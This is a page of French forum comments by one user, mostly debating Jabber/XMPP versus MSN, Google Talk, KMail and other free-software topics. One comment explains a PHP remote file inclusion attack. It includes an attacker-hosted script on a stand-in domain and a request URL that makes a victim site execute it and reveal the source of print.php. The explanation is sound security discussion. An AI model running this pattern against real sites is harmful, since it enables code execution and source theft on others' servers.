Gof a écrit 2224 commentaires

Je ne vois pas pourquoi les préférences d'Axel serait plus importante que celles de Nicolas.

En général, le tranfert de fichier avec Jabber fonctionne bien en général, et en particulier devrais fonctionner dans tout les cas en utilisant une passerelle MSN puisque la passerelle fait proxy (mais ça consomme des ressources sur le serveur)

Sinon, le transfert de fichier ne marche pas entre google talk et gajim. Normal, Google a fait le truc à sa sauce en réinventant la roue
« ce sera bientôt documenté et dans la prochaine version de libjingle » ont ils dit.

En attendant,
- C'est pas encore documenté
- Ils cassent la compatibilité avec l'existant
- Ils utilisent un truc vachement compliqué (j'ai pas encore les détails exact, mais ils utiliserait une réimplémentation de TCP par dessus UDP)

Alors que le protocole existant
- fonctionnais bien (à condition d'utiliser un proxy jid si il y a 2 nat)
- était simple
- peut être étendu

Pour rappel, garder la compatibilité avec l'existant est encore un des principe fondamentaux de Jabber. Il devrait encore être possible de se connecter à Jabber avec un client écrit en 1998. Essayer de vous connecter à MSN avec un client plus ancien que 2004.
(Par example un employé de SuSE se donne beaucoup de mal pour backporter les correctif de Kopete-MSN de manière à le faire fonctionner sur les vielle version de la SuSE qui sont sensé être supportée 5 ans)

Peut-être que les utilisateurs de Jabber de l'époque, principalement des geek, ne voyaient pas le problème de lancer une appli spécifique pour la VoIP.

Je rappelle que les conférences audio et vidéo sont plutôt complexe à implémenter au niveau du client, requière du P2P et tout le tralala.

Bref, exactement l'opposé d'un des principes de Jabber qui est plutôt de garder la complexité dans le serveur.

Personnellement, je trouve que le concept de faire une chose et de la faire bien est un beau concept.

Maintenant, je suis pour l'intégration des applications entre elles, et je travailerrais plutôt dans cette direction.

Tout comme Firefox implémente des bugs de IE, tout comme OOo sait lire les document de MS Office, Jabber sait parler avec les legacy protocols grâce aux paserelles.
Donc, il y a bien ce souci de cohabitation aussi.

Jabber aussi a des «plus» : les ressources, les MUC, les robots, le texte enrichi, le idle time, le statut free for chat, et bien d'autres.
Jusqu'a il y a pas longtemps, il y avais aussi les messages de status personnalisables et les messages hors-ligne.

Et le monde du libre n'est pas un monde de télétubies, c'est un monde bien réel dans lequel je vis. Et je ne m'en plein pas, bien au contraire.

Même si je suis parfois forcé d'ouvrir un document Word, de regarder une vidéo en flash, et je vais même de temps en temps sur MSN.

MSN Messenger utilise un protocole fermé et propriétaire.

C'est aussi grave d'utiliser MSN que de publier un document Microsoft Office.

Dans ce cas c'est un bug du client, et tu es libre de
- changer de client
- rapporter le bug pour qu'il soit corriger
- corriger le bug toi même si le client est libre

Et je suis curieux de savoir quel client Jabber ne permet pas ça car c'est une des fonctionalités de Jabber qui existe depuis le début.

Et c'est bien le serveur de la personne qui reçois le message qui doit le supporter. Tout les serveurs libre que je connais supportent les message hors ligne.

> - c'est du XML (bof comme argument)

Le fait que ce soit du XML, on s'en fou.
Ce qui est important ce sont les avantages qui sont derrière.
Principalement le fait que le protocole soit extensible à l'infini, et de manière compatible.

> - le protocole est ouvert

Ça veux non seulement dire que tu est libre d'utiliser le logiciel que tu veux, mais aussi que tu ne te remet pas à une société particulière.

C'est bien pire d'utiliser MSN que d'envoyer un document word par email

[... autres argument techniques ...]

On s'en fou que MSN soit mieux, c'est pas libre, c'est pas ouvert, donc c'est pas pour moi.

Oui, je sais. ceci est la vision d'un geek, et pas celle de cette fameuse Mme Michu.

Et pour la petite histoire, Jabber à été créé un peu avant MSN Messenger, c'est juste que à cette époque là ICQ était déjà trop implanté.

> Inconvénients: avant de pouvoir implémenter une fonctionnalité,
> il faut attendre que la JEP soit acceptée.

Pas du tout.
Rien n'empêche d'implémenter une fonctionalité et de publier une JEP par après. De la sorte on accélère les choses, et le fait d'avoir une implémentation aide pour faire la JEP.
Elle sera peut-être acceptée ou pas, modifiée ou non.
C'est ce que Google fait. Et c'est ce que je recommande de faire.

les messages hors ligne dépendent uniquement du serveur.

Il faut juste un support dans le client si il veut afficher l'heure du message ("jabber:x:delay").

il a dit .org

Aucun rapport.

Un gars de chez Trolltech dis juste que le mécanisme de boucle principale de Glib est pas mal.
Et quand bien même ils intégrerais ce mécanisme dans Qt, ça restera en C++/Qt , et ne signifie aucune dépendance avec la GLib, et encore moins que le développeur d'un soft en Qt devra utiliser l'API en C de la GLib.

Quand à l'intégration de la boucle principale de Qt dans celle de la GLib et inversément, ça a juste pour but de *permettre* à une appli d'utiliser à la fois des lib Qt et des lib basé sur la GLib. En aucun cas une appli purement Qt ne sera intégrée dans la boucle GLib.

Relis encore.

Il précise que, considérant une vitesse de lecture des disques dur de 50Mo/s , et que le lancement de KDE ne devrais pas charger plus de 100Mo (mon cache ne fait même pas autant), il devrais y avoir une différence de 2 secondes entre démarrer avec ou sans cache.

Or, j'ai fait le test, j'observe une différence de 20 secondes, soit 10 fois plus.
C'est donc bien car les fichiers sont a des endroit différent du disque.

Maintenant, ShaKe va remettre les fichier des même dossiers à des endroit proche. Ça semble être la solution puisque bcp des fichiers lu au démarrage sont dans les même dossiers.

Ça me rappelle cette news sur "Accelerated Knoppix"
http://linuxfr.org/2006/03/03/20432.html

Ça existe déjà
http://live.gnome.org/CamTrack
(mais j'ai jamais essayé)

Comme tu dis, c'est compatible avec Jabber, il est donc possible d'utiliser des passerelles et beaucoup de fonctions propre à Jabber

Il est vrai que gmail est un serveur un peu particulier dans le sens ou il implémante certaine choses différamment, et d'autres ne sont pas encore implémentées.

Pour les passerelles, le serveur n'en propose pas directement, mais tu peux utiliser les passerelles d'autre serveur qui le permette avec ton compte gmail sans problème.


Par contre, je n'utiliserais pas gmail pour mon compte car je préfère les serveurs communautaire. En choisissant gmail, on dépends d'une entreprise.

XMPP core (RFC 3920) permet au serveur de retourner une erreur <gone/> si l'utilisateur change de serveur, et de fournir le nouveau JID dans l'erreur.

Cependant, aucune JEP ne permet de préciser au serveur son nouveau JID


Pour le transfert de sa liste de contact, il existe des scripts qui permettent de faire ça automatiquement.

C'est impossible: un ensemble ne peut pas appartenir à lui-même

http://fr.wikipedia.org/wiki/Paradoxe_de_Russell
http://fr.wikipedia.org/wiki/Théorie_naïve_des_ensembles#Paradoxe_de_Russell_et_cons.C3.A9quences
http://www.linux-sottises.net/math.php (voir la partie sur les registres de bibliothèques)

Non, il parle de Swift, pas de Konqueror

effectivement, j'avais pas regardé le code dans ce cas si.

Soit le fichier PHP suivant:

---------- http://monsite.com/script.php --------------
<?php echo "<?php"; ?>
echo htmlentities(implode('',file('print.php')));
?>
---------------------------------------------------------------

Eh bien quand tu fera
http://victime.com/print.php?id=http://monsite.com/script
le echo "<?php"; sera interprété sur monsite.com
et le htmlentities sera interprété sur victime.com

Tu comprends mieux ? Enfin moi ça me parait logique.

la commande include ne regarde pas l'extension

et pour un site qui aurait fait include ( "$page .php" );

eh bien tu commence sur ta page malicieuse par
<?php echo "<?php"; ?>

> impossible de faire un mail html avec un image de fond

<private joke>
J'ai un cokoteur qui dirais « Moi j'utiliserais KMail rien que parce que c'est pas possible de faire ça »
</private joke>

Sinon, sérieusement: Est-ce juste parce que cette fonctionalité n'est pas présente que KMail est nul ? Sans regarder ses fonctionalités ?

Et puis, les mail en HTML ça empêche la correction orthographique automatique et mise en couleur des citations (sinon les mots en rouge restent en rouge dans le mail envoyé :-s )

(Personnellement, je trouve que KMail est un excellent client e-mail)

Et aussi:

- Combien de millions de fois le code du Style Engine (ou équivalant) est appelé pour afficher le about:blank



Référence: https://linuxfr.org/comments/740917.html#740917

Les MUC peuvent être anonyme.
càd que seul un admin peut connaître le vrai JID des participant.

C'est une JEP, pas une JPE. :-)

Sinon, dans Jabber, il y a les MUC (multi-user chat) qui sont l'équivalent des canaux IRC. Ça permet aussi de rencontrer des gens.


dans la FAQ du site:

> How to keep in contact with a random stranger ?
> You have to exchange personnal data (email, ICQ, MSN) during the chat.[...]

Mon dieux ! il cite même pas Jabber ! :-)


Et je trouve aussi que un journal aurait été plus approprié.

Sans vouloir alimenter le troll,
Il existe des décodeurs MP3 libre. Le fait qu'ils soient couvert par des brevet est un autre problème.

Dans le cas de ipw2200, le driver est bien libre.
Il y a juste le firmware qui est binaire, mais c'est moins grave (j'ai pas dit que c'était bien)

Je fais pareil avec KMail.
KMail permet de créé très facilement des filtre en se basant sur le List-Id

Simple et efficace

Ah non, pas encore un troll sur la complexité de fibonacci
(dont tout le monde sait qu'il est en O(log n) )

http://linuxfr.org/comments/714501.html#714501